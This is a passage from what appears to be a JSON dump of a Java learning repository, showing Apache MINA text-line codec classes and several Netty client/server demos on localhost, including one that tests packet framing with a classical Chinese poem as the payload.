logger.info(\"in.position() = \"+in.position()+\",in.limit() = \"+in.limit());\n\t\t            logger.info(\"\");\n\t\t           \n\t\t            //当b的ascii值为13,10 即为\\r,\\n时,会进入下述if语句\n\t\t            if (delimBuf.get(matchCount) == b) {\n\t\t               \n\t\t                // b='\\r'时,matchCount=1, b='\\n'时,matchCount=2\n\t\t                matchCount++;   \n\t\t               \n\t\t                logger.info(\"matchCount = \"+matchCount);\n\t\t                //当前匹配到字节个数与文本换行符字节个数相同，即 b='\\n'时\n\t\t                //此时matchCount=2, delimBuf.limit()=2\n\t\t               \n\t\t                if (matchCount == delimBuf.limit()) {                       \n\t\t                   \n\t\t                        // 获得当前匹配到的position（position前所有数据有效）\n\t\t                        int pos = in.position();    //值为2           \n\t\t                        logger.info(\"pos = \"+pos);\n\t\t                       \n\t\t                        in.limit(pos); //值为2\n\t\t                        // position回到原始位置\n\t\t                        in.position(oldPos); //值为0\n\t\t                       \n\t\t                        // 追加到Context对象未完成数据后面\n\t\t                        ctx.append(in); //将 \\r\\n这两个字符添加到 ctx.getBuf()中\n\t\t                       \n\t\t                        // in中匹配结束后剩余数据\n\t\t                        in.limit(oldLimit); //值为2\n\t\t                        in.position(pos); //值为2\n\t\t                                           \n\t\t                        IoBuffer buf = ctx.getBuf(); //此时是得到  he\\r\\n                       \n\t\t                        buf.flip(); //此时 buf.position=0,buf.limit()=4            \n\t\t                       \n\t\t                        buf.limit(buf.limit() - matchCount);  //4-2 = 2\n\t\t                        try{\n\t\t                            // 输出解码内容 ,即 he\n\t\t                            out.write(buf.getString(ctx.getDecoder()));\n\t\t                        }\n\t\t                        finally {\n\t\t                            buf.clear(); // 释放缓存空间\n\t\t                        }       \n\t\t                   \n\t\t                        matchCount = 0;\n\t\t                       \n\t\t                    }\n\t\t            }else { //h字符,e字符时,均会进入 此else逻辑判断中   \n\n\t\t                //把in中未解码内容放回buf中\n\t\t                //下面会在 输入的字符不是 \\r\\n时会需要保存使用\n\t\t                in.position(oldPos);\n\t\t                ctx.append(in);\n\t\t                ctx.setMatchCount(matchCount);\n\t\t            }\n\t\t        }           \n\t\t    }\n\t\t   \n\t\t    // 从IoSession中获取Context对象\n\t\t    private Context getContext(IoSession session) {\n\t\t        Context ctx;\n\t\t        ctx = (Context) session.getAttribute(CONTEXT);\n\n\t\t        if (ctx == null) {\n\t\t            ctx = new Context();\n\t\t            session.setAttribute(CONTEXT, ctx);\n\t\t        }\n\t\t        return ctx;\n\t\t    }\n\t\t   \n\t\t    public void dispose(IoSession arg0) throws Exception {\n\t\t        // TODO Auto-generated method stub\n\n\t\t    }\n\n\t\t    public void finishDecode(IoSession arg0, ProtocolDecoderOutput arg1)\n\t\t            throws Exception {\n\t\t        // TODO Auto-generated method stub\n\t\t    }\n\n\n\t\t    // 内部类，保存IoSession解码时未完成的任务\n\t\t    private class Context {\n\t\t       \n\t\t        private CharsetDecoder decoder;\n\t\t        private IoBuffer buf;\n\t\t        // 保存真实解码内容\n\t\t        private int matchCount = 0; // 匹配到的文本换行符个数\n\t\t        private Context() {\n\t\t            decoder = charset.newDecoder();\n\t\t            buf = IoBuffer.allocate(80).setAutoExpand(true);\n\t\t        }\n\n\t\t        // 重置\n\t\t        public void reset() {\n\t\t            matchCount = 0;\n\t\t            decoder.reset();\n\t\t        }\n\n\t\t        // 追加数据\n\t\t        public void append(IoBuffer in) {\n\t\t            getBuf().put(in);\n\t\t        }\n\n\t\t        public CharsetDecoder getDecoder() {\n\t\t            return decoder;\n\t\t        }\n\n\t\t        public IoBuffer getBuf() {\n\t\t            return buf;\n\t\t        }\n\n\t\t        public int getMatchCount() {\n\t\t            return matchCount;\n\t\t        }\n\n\t\t        public void setMatchCount(int matchCount) {\n\t\t            this.matchCount = matchCount;\n\t\t        }\n\t\t    }    \n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/mina/demo1/MyTextLineCodecEncoder.java",
    "content": "package com.jun.plugin.nio.mina.demo1;\n\nimport java.nio.charset.Charset;\n\nimport org.apache.log4j.Logger;\nimport org.apache.mina.core.buffer.IoBuffer;\nimport org.apache.mina.core.session.IoSession;\nimport org.apache.mina.filter.codec.ProtocolEncoder;\nimport org.apache.mina.filter.codec.ProtocolEncoderOutput;\n\n/**\n * @author ZERO\n * @version 2017-3-28 上午11:30:55\n * 设置编码构造器\n */\npublic class MyTextLineCodecEncoder implements ProtocolEncoder{\n\n\t private static Logger logger = Logger.getLogger(MyTextLineCodecEncoder.class);\n\t   \n\t    private Charset charset; // 编码格式\n\t    private String delimiter; // 文本分隔符\n\t    public MyTextLineCodecEncoder(Charset charset, String delimiter) {\n\t        this.charset = charset;\n\t        this.delimiter = delimiter;\n\t    }\n\n\t    public void encode(IoSession session, Object message, ProtocolEncoderOutput out) throws Exception {\n\t        logger.info(\"开始进入编码方法-----------------------------------------------------------------\");\n\t        // 如果文本换行符未指定，使用默认值\n\t        if (delimiter == null || \"\".equals(delimiter)) {\n\t            delimiter = \"\\r\\n\";\n\t        }\n\n\t        if (charset == null) {\n\t            charset = Charset.forName(\"utf-8\");\n\t        }\n\n\t        String value = message.toString();        \n\t        IoBuffer buf = IoBuffer.allocate(value.length()).setAutoExpand(true);       \n\t        //真实数据\n\t        buf.putString(value, charset.newEncoder()); \n\t        //文本换行符\n\t        buf.putString(delimiter, charset.newEncoder());\n\t        buf.flip();\n\t        out.write(buf);\n\t    }\n\n\t    public void dispose(IoSession session) throws Exception {}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/mina/demo1/MyTextLineCodecFactory.java",
    "content": "package com.jun.plugin.nio.mina.demo1;\n\nimport java.nio.charset.Charset;\n\nimport org.apache.mina.core.session.IoSession;\nimport org.apache.mina.filter.codec.ProtocolCodecFactory;\nimport org.apache.mina.filter.codec.ProtocolDecoder;\nimport org.apache.mina.filter.codec.ProtocolEncoder;\n\n/**\n * @author ZERO\n * @version 2017-3-28 上午11:39:50\n * 编码格式工厂\n */\npublic class MyTextLineCodecFactory implements ProtocolCodecFactory {\n\n    private Charset charset; // 编码格式\n    private String delimiter; // 文本分隔符\n    public MyTextLineCodecFactory(Charset charset, String delimiter) {\n        this.charset = charset;\n        this.delimiter = delimiter;\n    }\n   \n   \n    public ProtocolDecoder getDecoder(IoSession session) throws Exception {\n        return new MyTextLineCodecDecoder(charset, delimiter);\n    }\n\n   \n    public ProtocolEncoder getEncoder(IoSession session) throws Exception {\n        return new MyTextLineCodecEncoder(charset, delimiter);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/mina/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: Mina测试\n * Version:1.0.0  \n * @author pancm\n * @date 2017-3-27\n */\npackage com.jun.plugin.nio.mina;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo/NettyClient.java",
    "content": "package com.jun.plugin.nio.netty.demo;\n\n\nimport java.io.IOException;\n\nimport io.netty.bootstrap.Bootstrap;\nimport io.netty.channel.Channel;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.nio.NioSocketChannel;\n/**\n * \n* Title: NettyClient\n* Description: Netty客户端 \n* Version:1.0.0  \n* @author Administrator\n* @date 2017-8-31\n */\npublic class NettyClient {\n    \n    public static String host = \"127.0.0.1\";  //ip地址\n    public static int port = 6789;\t\t\t//端口\n    /// 通过nio方式来接收连接和处理连接   \n    private static EventLoopGroup group = new NioEventLoopGroup(); \n    private static  Bootstrap b = new Bootstrap();\n    private static Channel ch;\n    \n    /**\n\t * Netty创建全部都是实现自AbstractBootstrap。\n\t * 客户端的是Bootstrap，服务端的则是\tServerBootstrap。\n\t **/\n    public static void main(String[] args) throws InterruptedException, IOException { \n        \tSystem.out.println(\"客户端成功启动...\");\n            b.group(group);\n            b.channel(NioSocketChannel.class);\n            b.handler(new NettyClientFilter()); \n            // 连接服务端\n            ch = b.connect(host, port).sync().channel();\n            star();\n    }\n    \n    public static void star() throws IOException{\n    \tString str=\"Hello Netty\";\n    \tch.writeAndFlush(str);\n//    \tch.writeAndFlush(str+ \"\\r\\n\");\n    \tSystem.out.println(\"客户端发送数据:\"+str);\n   }\n    \t\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo/NettyClientFilter.java",
    "content": "package com.jun.plugin.nio.netty.demo;\n\n\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.handler.codec.string.StringDecoder;\nimport io.netty.handler.codec.string.StringEncoder;\n/**\n * \n* Title: NettyClientFilter\n* Description: Netty客户端 过滤器\n* Version:1.0.0  \n* @author Administrator\n* @date 2017-8-31\n */\npublic class NettyClientFilter extends ChannelInitializer<SocketChannel> {\n\n    @Override\n    protected void initChannel(SocketChannel ch) throws Exception {\n        ChannelPipeline ph = ch.pipeline();\n        /*\n         * 解码和编码，应和服务端一致\n         * */\n//        ph.addLast(\"framer\", new DelimiterBasedFrameDecoder(8192, Delimiters.lineDelimiter()));\n        ph.addLast(\"decoder\", new StringDecoder());\n        ph.addLast(\"encoder\", new StringEncoder());\n        ph.addLast(\"handler\", new NettyClientHandler()); //客户端的逻辑\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo/NettyClientHandler.java",
    "content": "package com.jun.plugin.nio.netty.demo;\n\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.SimpleChannelInboundHandler;\n\n/**\n * \n* Title: NettyClientHandler\n* Description: 客户端业务逻辑实现\n* Version:1.0.0  \n* @author Administrator\n* @date 2017-8-31\n */\npublic class NettyClientHandler extends SimpleChannelInboundHandler<String> {\n\n    @Override\n    protected void channelRead0(ChannelHandlerContext ctx, String msg) throws Exception {  \n        System.out.println(\"客户端接受的消息: \" + msg);\n    }\n    \n    //\n    @Override\n    public void channelActive(ChannelHandlerContext ctx) throws Exception {\n        System.out.println(\"正在连接... \");\n        super.channelActive(ctx);\n    }\n\n    @Override\n    public void channelInactive(ChannelHandlerContext ctx) throws Exception {\n        System.out.println(\"连接关闭! \");\n        super.channelInactive(ctx);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo/NettyServer.java",
    "content": "package com.jun.plugin.nio.netty.demo;\n\nimport io.netty.bootstrap.ServerBootstrap;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.nio.NioServerSocketChannel;\n\n/**\n * \n* Title: NettyServer\n* Description: Netty服务端\n* Version:1.0.0  \n* @author Administrator\n* @date 2017-8-31\n */\npublic class NettyServer {\n\t    private static final int port = 6789; //设置服务端端口\n\t    private static  EventLoopGroup group = new NioEventLoopGroup();   // 通过nio方式来接收连接和处理连接   \n\t    private static  ServerBootstrap b = new ServerBootstrap();\n\t    \n\t    /**\n\t\t * Netty创建全部都是实现自AbstractBootstrap。\n\t\t * 客户端的是Bootstrap，服务端的则是\tServerBootstrap。\n\t\t **/\n\t    public static void main(String[] args) throws InterruptedException {\n\t        try {\n\t            b.group(group);\n\t            b.channel(NioServerSocketChannel.class);\n\t            b.childHandler(new NettyServerFilter()); //设置过滤器\n\t            // 异步地绑定服务器；调用 sync()方法阻塞  等待直到绑定完成\n\t            ChannelFuture f = b.bind(port).sync();\n\t            System.out.println(\"服务端启动成功,端口是:\"+port);\n\t            // 获取 Channel 的  CloseFuture，并且阻塞当前线程直到它完成\n\t            f.channel().closeFuture().sync();\n\t        } finally {\n\t            group.shutdownGracefully(); //关闭EventLoopGroup，释放掉所有资源包括创建的线程  \n\t        }\n\t    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo/NettyServerFilter.java",
    "content": "package com.jun.plugin.nio.netty.demo;\n\n\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.handler.codec.string.StringDecoder;\nimport io.netty.handler.codec.string.StringEncoder;\n \n/**\n  * \n * Title: HelloServerInitializer\n * Description: Netty 服务端过滤器\n * Version:1.0.0  \n * @author Administrator\n * @date 2017-8-31\n  */\npublic class NettyServerFilter extends ChannelInitializer<SocketChannel> {\n \n     @Override\n     protected void initChannel(SocketChannel ch) throws Exception {\n         ChannelPipeline ph = ch.pipeline();\n         // 以(\"\\n\")为结尾分割的 解码器\n//        ph.addLast(\"framer\", new DelimiterBasedFrameDecoder(8192, Delimiters.lineDelimiter()));\n         // 解码和编码，应和客户端一致\n         ph.addLast(\"decoder\", new StringDecoder());\n         ph.addLast(\"encoder\", new StringEncoder());\n         ph.addLast(\"handler\", new NettyServerHandler());// 服务端业务逻辑\n     }\n }\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo/NettyServerHandler.java",
    "content": "package com.jun.plugin.nio.netty.demo;\n\nimport java.net.InetAddress;\nimport java.util.Date;\n\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.SimpleChannelInboundHandler;\n\n\n/**\n * \n* Title: HelloServerHandler\n* Description:  服务端业务逻辑\n* Version:1.0.0  \n* @author Administrator\n* @date 2017-8-31\n */\npublic class NettyServerHandler extends SimpleChannelInboundHandler<String> {\n\t/*\n\t * 收到消息时，返回信息\n\t */\n\t@Override\n\tprotected void channelRead0(ChannelHandlerContext ctx, String msg)\n\t\t\tthrows Exception {\n\t\t// 收到消息直接打印输出\n\t\tSystem.out.println(\"服务端接受的消息 : \" + msg);\n\t\tif(\"quit\".equals(msg)){//服务端断开的条件\n\t\t\tctx.close();\n\t\t}\n\t\t// 返回客户端消息\n//\t\tctx.writeAndFlush(\"收到消息:\"+ msg+\",当前的时间是:\"+MyTools.getNowTime(\"\")+\"\\n\");\n\t\tctx.writeAndFlush(\"收到消息:\"+ msg+\",当前的时间是:\"+new Date());\n\t}\n\n\t/*\n\t * 建立连接时，返回消息\n\t */\n\t@Override\n\tpublic void channelActive(ChannelHandlerContext ctx) throws Exception {\n\t\tSystem.out.println(\"连接的客户端地址:\" + ctx.channel().remoteAddress());\n\t\tctx.writeAndFlush(\"客户端\"+ InetAddress.getLocalHost().getHostName() + \"成功与服务端建立连接！ \");\n\t\tsuper.channelActive(ctx);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo1/BaseClient1Handler.java",
    "content": "package com.jun.plugin.nio.netty.demo1;\n\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.ChannelInboundHandlerAdapter;\n\n/**\n * \n* Title: BaseClient1Handler\n* Description: 客户端自定义解码器其一\n* Version:1.0.0  \n* @author panchengming\n* @date 2017年9月17日\n */\npublic class BaseClient1Handler extends ChannelInboundHandlerAdapter{\n\t\t@Override  \n\t    public void channelActive(ChannelHandlerContext ctx) throws Exception {  \n\t        System.out.println(\"BaseClient1Handler channelActive\");  \n//\t        ctx.fireChannelActive();  \n\t    }  \n\t      \n\t    @Override  \n\t    public void channelInactive(ChannelHandlerContext ctx) throws Exception {  \n\t        System.out.println(\"BaseClient1Handler channelInactive\");  \n\t    }  \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo1/BaseClient2Handler.java",
    "content": "package com.jun.plugin.nio.netty.demo1;\n\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.ChannelInboundHandlerAdapter;\n\n/**\n * \n* Title: BaseClient2Handler\n* Description: 客户端自定义解码器其二\n* Version:1.0.0  \n* @author panchengming\n* @date 2017年9月17日\n */\npublic class BaseClient2Handler extends ChannelInboundHandlerAdapter{  \n    \n    @Override  \n    public void channelActive(ChannelHandlerContext ctx) throws Exception {  \n        System.out.println(\"BaseClient2Handler Active\");  \n    }  \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo1/NettyClient.java",
    "content": "package com.jun.plugin.nio.netty.demo1;\n\nimport io.netty.bootstrap.Bootstrap;\nimport io.netty.channel.Channel;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelOption;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioSocketChannel;\nimport io.netty.handler.codec.string.StringDecoder;\nimport io.netty.handler.codec.string.StringEncoder;\n\n\n/**\n * \n* Title: NettyClient\n* Description:Netty客户端 测试\n* Version:1.0.0  \n* @author Administrator\n* @date 2017-8-31\n */\npublic class NettyClient {\n\tprivate static final int port = 1234;  \n\tprivate static final String host = \"127.0.0.1\";  \n\tprivate static  EventLoopGroup group = new NioEventLoopGroup();   // 通过nio方式来接收连接和处理连接   \n\tprivate static   Bootstrap b = new Bootstrap();\n\tprivate static Channel ch ;\n\t/**\n\t * Netty创建全部都是实现自AbstractBootstrap。\n\t * 客户端的是Bootstrap，服务端的则是\tServerBootstrap。\n\t **/\n\t public static void main(String[] args) throws Exception {  \n\t\ttry{ \n\t\t     b.group(group)  \n\t\t      .channel(NioSocketChannel.class)  \n\t\t      .option(ChannelOption.TCP_NODELAY, true)  \n\t\t      .handler(new ChannelInitializer<SocketChannel>() {  \n\t\t          @Override  \n\t\t          public void initChannel(SocketChannel ch) throws Exception {  \n\t\t              ChannelPipeline p = ch.pipeline();  \n\t\t              p.addLast(\"decoder\", new StringDecoder());\n                      p.addLast(\"encoder\", new StringEncoder());  \n\t\t              p.addLast(new BaseClient1Handler());  \n\t\t              p.addLast(new BaseClient2Handler());  \n\t\t          }  \n\t\t      });  \n\t\t     \n\t         ChannelFuture future = b.connect(host, port).sync();  // 连接服务端\n\t      \t System.out.println(\"客户端连接成功!\");  \n\t         future.channel().writeAndFlush(\"Hello Netty Server ,I am a common client\");//发送消息  \n\t         future.channel().closeFuture().sync();   //关闭\n\t\t\t } finally {  \n\t\t\t     group.shutdownGracefully();   //释放资源\n\t\t\t }  \n         \n        // \tstart();  \n\t    }\n\t\n    public static void start() throws Exception {  \n       System.out.println(\"客户端像服务端发送数据\");\n    \ttry {  \n          String str=\"Hello Netty\";\n          ch.writeAndFlush(str+\"\\r\\n\");//发送消息\n           System.out.println(\"客户端发送的消息:\"+str);       \n           ch.closeFuture().sync();   // 应用程序会一直等待，直到channel关闭 \n        } finally {  \n       //     group.shutdownGracefully().sync(); //关闭EventLoopGroup，释放掉所有资源包括创建的线程   \n        }  \n    }  \n  \n   \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo1/NettyClientHandler.java",
    "content": "package com.jun.plugin.nio.netty.demo1;\n\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.SimpleChannelInboundHandler;\n\n/**\n * \n* Title: NettyClientHandler\n* Description:客户端业务逻辑 \n* Version:1.0.0  \n* @author Administrator\n* @date 2017-8-31\n */\npublic class NettyClientHandler extends SimpleChannelInboundHandler<String> {\n\n\t@Override\n\tprotected void channelRead0(ChannelHandlerContext chc, String str)\n\t\t\tthrows Exception {\n\t\t// TODO Auto-generated method stub\n\t\tSystem.out.println(\"消息为:\"+str);\n\t\t\n\t}  \n\t\n\t@Override\n    public void channelActive(ChannelHandlerContext chc) throws Exception {\n        System.out.println(\"正在连接...\");\n        super.channelActive(chc);\n    }\n\n    @Override\n    public void channelInactive(ChannelHandlerContext chc) throws Exception {\n        System.out.println(\"连接关闭\");\n        super.channelInactive(chc);\n    }\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo1/NettyServer.java",
    "content": "package com.jun.plugin.nio.netty.demo1;\n\nimport io.netty.bootstrap.ServerBootstrap;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioServerSocketChannel;\nimport io.netty.handler.codec.string.StringDecoder;\nimport io.netty.handler.codec.string.StringEncoder;\n\n\n\n  \n\n/**\n * \n* Title: NettyServer\n* Description: Netty服务端  测试自定义channelhandler\n* Version:1.0.0  \n* @author Administrator\n* @date 2017-8-31\n */\n\npublic class NettyServer {\n\tprivate static final int port = 1234;  \n\t  public static void main(String[] args) {  \n\t\t\tSystem.out.println(\"开始运行...\");\n\t        try {  \n\t             start();  \n\t        } catch (InterruptedException e) { \n\t        \tSystem.out.println(\"运行异常...\");\n\t            e.printStackTrace();  \n\t        }  \n\t  } \n   \n\t  /**\n\t\t * Netty创建全部都是实现自AbstractBootstrap。\n\t\t * 客户端的是Bootstrap，服务端的则是\tServerBootstrap。\n\t\t **/\n\t public static void start() throws InterruptedException {  \n        ServerBootstrap sb = new ServerBootstrap();// 引导辅助程序  \n        EventLoopGroup group = new NioEventLoopGroup();// 通过nio方式来接收连接和处理连接  \n        try {  \n        \tsb.group(group);  // 通过nio方式来接收连接和处理连接  \n        \tsb.channel(NioServerSocketChannel.class);// 设置nio类型的channel  \n        \tsb.childHandler(new ChannelInitializer<SocketChannel>() {//有连接到达时会创建一个channel  \n                        protected void initChannel(SocketChannel ch) throws Exception {  \n                        \tChannelPipeline p = ch.pipeline();  \n                           \n                            // 字符串解码 和 编码\n                        \tp.addLast(\"decoder\", new StringDecoder());\n                        \tp.addLast(\"encoder\", new StringEncoder());\n                        \t // 在channel队列中添加一个handler来处理业务  \n                        \tp.addLast(\"handler\", new NettyServerHandler());  \n                        \t // 以(\"\\n\")为结尾分割的 解码器\n                      //  \tcp.addLast(\"framer\", new DelimiterBasedFrameDecoder(8192, Delimiters.lineDelimiter()));\n                        }  \n                    });  \n            ChannelFuture f = sb.bind(port).sync();// 配置完成，开始绑定server，通过调用sync同步方法阻塞直到绑定成功  \n            System.out.println(\"服务端已启动... 端口是:\"+port);\n            f.channel().closeFuture().sync();// 应用程序会一直等待，直到channel关闭  \n        } catch (Exception e) {  \n            e.printStackTrace();  \n        } finally {  \n       //     group.shutdownGracefully().sync();//关闭EventLoopGroup，释放掉所有资源包括创建的线程  \n        }  \n  \n    }  \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo1/NettyServerHandler.java",
    "content": "package com.jun.plugin.nio.netty.demo1;\n\nimport java.net.InetAddress;\n\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.SimpleChannelInboundHandler;\n\n/**\n * \n* Title: NettyServerHandler\n* Description:Netty服务端业务逻辑实现 \n* Version:1.0.0  \n* @author Administrator\n* @date 2017-8-31\n */\n\n\npublic class NettyServerHandler extends SimpleChannelInboundHandler<String> {\n\n\t@Override\n\tprotected void channelRead0(ChannelHandlerContext ctx, String msg)\n\t\t\tthrows Exception {\n\t\t// 收到消息直接打印输出\n\t\tSystem.out.println(ctx.channel().remoteAddress() + \" Say : \" + msg);\n\n\t\t// 返回客户端消息 - 我已经接收到了你的消息\n\t\tctx.writeAndFlush(\"Received your message !\\n\");\n\t}\n\n\t/*\n\t * \n\t * 覆盖 channelActive 方法 在channel被启用的时候触发 (在建立连接的时候)\n\t * \n\t * channelActive 和 channelInActive 在后面的内容中讲述，这里先不做详细的描述\n\t */\n\t@Override\n\tpublic void channelActive(ChannelHandlerContext ctx) throws Exception {\n\n\t\tSystem.out.println(\"连接的客户端地址:\" + ctx.channel().remoteAddress());\n\t\tctx.writeAndFlush(\"客户端\"+ InetAddress.getLocalHost().getHostName() + \"成功与服务端建立连接！ \\n\");\n\t\tsuper.channelActive(ctx);\n\t}\n\n}\n\n\n\n/** \n * Sharable表示此对象在channel间共享 \n * handler类是我们的具体业务类 \n * */  \n/*@Sharable//注解@Sharable可以让它在channels间共享 \npublic class NettyServerHandler extends ChannelInboundHandlerAdapter {\n\t public void channelRead(ChannelHandlerContext ctx, Object msg) {   \n\t        System.out.println(\"服务端接受的数据为:\" + msg);  \n\t        if(\"quit\".equals(msg)){ //服务端断开的条件\n\t        \tctx.close();\n\t        }\n\t        Date date=new Date();\n\t        ctx.write(date);//回写数据 \n\t    }   \n\t    public void channelReadComplete(ChannelHandlerContext ctx) {  \n\t    \tSystem.out.println(\"1111\");\n\t        ctx.writeAndFlush(Unpooled.EMPTY_BUFFER) //flush掉所有写回的数据  \n\t        .addListener(ChannelFutureListener.CLOSE); //当flush完成后关闭channel  \n\t    }   \n\t    public void exceptionCaught(ChannelHandlerContext ctx,Throwable cause) {\n\t    \tSystem.out.println(\"2222\");\n\t        cause.printStackTrace();//捕捉异常信息  \n\t        ctx.close();//出现异常时关闭channel   \n\t    }     \n}*/\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo2/NettyClientDemo2.java",
    "content": "package com.jun.plugin.nio.netty.demo2;\n\nimport java.io.IOException;\n\nimport io.netty.bootstrap.Bootstrap;\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.Channel;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelOption;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioSocketChannel;\nimport io.netty.handler.codec.string.StringDecoder;\n\n/**\n * \n* Title: NettyClientDemo2\n* Description: Netty客户端  用于测试粘包、拆包\n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月20日\n */\npublic class NettyClientDemo2 {\n\t  public static String host = \"127.0.0.1\";  //ip地址\n\t    public static int port = 2345;\t\t\t//端口\n\t    /// 通过nio方式来接收连接和处理连接   \n\t    private static EventLoopGroup group = new NioEventLoopGroup(); \n\t    private static  Bootstrap b = new Bootstrap();\n\t    private static Channel ch;\n  \n\t    /**\n\t\t * Netty创建全部都是实现自AbstractBootstrap。\n\t\t * 客户端的是Bootstrap，服务端的则是ServerBootstrap。\n\t\t **/\n\t    public static void main(String[] args) throws InterruptedException, IOException { \n\t        \t b.group(group)  \n\t             .channel(NioSocketChannel.class)  \n\t             .option(ChannelOption.TCP_NODELAY,true)  \n\t             .handler(new ChannelInitializer<SocketChannel>() {  \n\t                 @Override  \n\t                 public void initChannel(SocketChannel ch) throws Exception {  \n\t                     ChannelPipeline p = ch.pipeline();  \n\t                     p.addLast(new StringDecoder());    //绑定解码器\n\t                     p.addLast(new NettyClientHandlerDemo2());   //绑定自定义业务 \n\t                 }  \n\t             });  \n\t            // 连接服务端\n\t            ch = b.connect(host, port).sync().channel();\n\t            System.out.println(\"客户端成功启动...\");\n\t     //       star();\n\t    }\n\t    \n\t    public static void star() throws IOException{\n\t    \tString str=\"你好 Netty!\";\n\t    \tbyte[] by=str.getBytes();\n\t    \tByteBuf message = Unpooled.buffer(by.length); ;  \n\t        message.writeBytes(by);  \n\t        ch.writeAndFlush(message); \n\t    \tSystem.out.println(\"客户端发送数据:\"+str);\n\t   } \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo2/NettyClientHandlerDemo2.java",
    "content": "package com.jun.plugin.nio.netty.demo2;\n\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.ChannelInboundHandlerAdapter;\n\n/**\n * \n* Title: NettyClientHandlerDemo2\n* Description: Netty客户端业务逻辑处理    \n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月20日\n */\npublic class NettyClientHandlerDemo2 extends ChannelInboundHandlerAdapter{  \n    \n    private byte[] req;  \n      \n    private int counter;   \n      \n    public NettyClientHandlerDemo2() {  \n//        req = (\"书到用时方恨少，事非经过不知难!\").getBytes();  \n  \n   //用于测试字节解码器 LineBasedFrameDecoder(2048)\n        req = (\"春江潮水连海平，海上明月共潮生。\"\n\t\t\t+\"  滟滟随波千万里，何处春江无月明! \"\n\t\t\t+\"\t江流宛转绕芳甸，月照花林皆似霰;\"\n\t\t\t+\"\t空里流霜不觉飞，汀上白沙看不见。\"\n\t\t\t+\"\t江天一色无纤尘，皎皎空中孤月轮。\"\n\t\t\t+\"  江畔何人初见月？江月何年初照人？\"\n\t\t\t+\"\t人生代代无穷已，江月年年望相似。\"\n\t\t\t+\"\t不知江月待何人，但见长江送流水。\"\n\t\t\t+\"\t白云一片去悠悠，青枫浦上不胜愁。\"\n\t\t\t+\"\t谁家今夜扁舟子？何处相思明月楼？\"\n\t\t\t+\"\t可怜楼上月徘徊，应照离人妆镜台。\"\n\t\t\t+\"\t玉户帘中卷不去，捣衣砧上拂还来。\"\n\t\t\t+\"\t此时相望不相闻，愿逐月华流照君。\"\n\t\t\t+\"\t鸿雁长飞光不度，鱼龙潜跃水成文。\"\n\t\t\t+\"\t昨夜闲潭梦落花，可怜春半不还家。\"\n\t\t\t+\"\t江水流春去欲尽，江潭落月复西斜。\"\n\t\t\t+\"\t斜月沉沉藏海雾，碣石潇湘无限路。\"\n\t\t\t+\"\t不知乘月几人归，落月摇情满江树。\" \n\t\t\t+\" 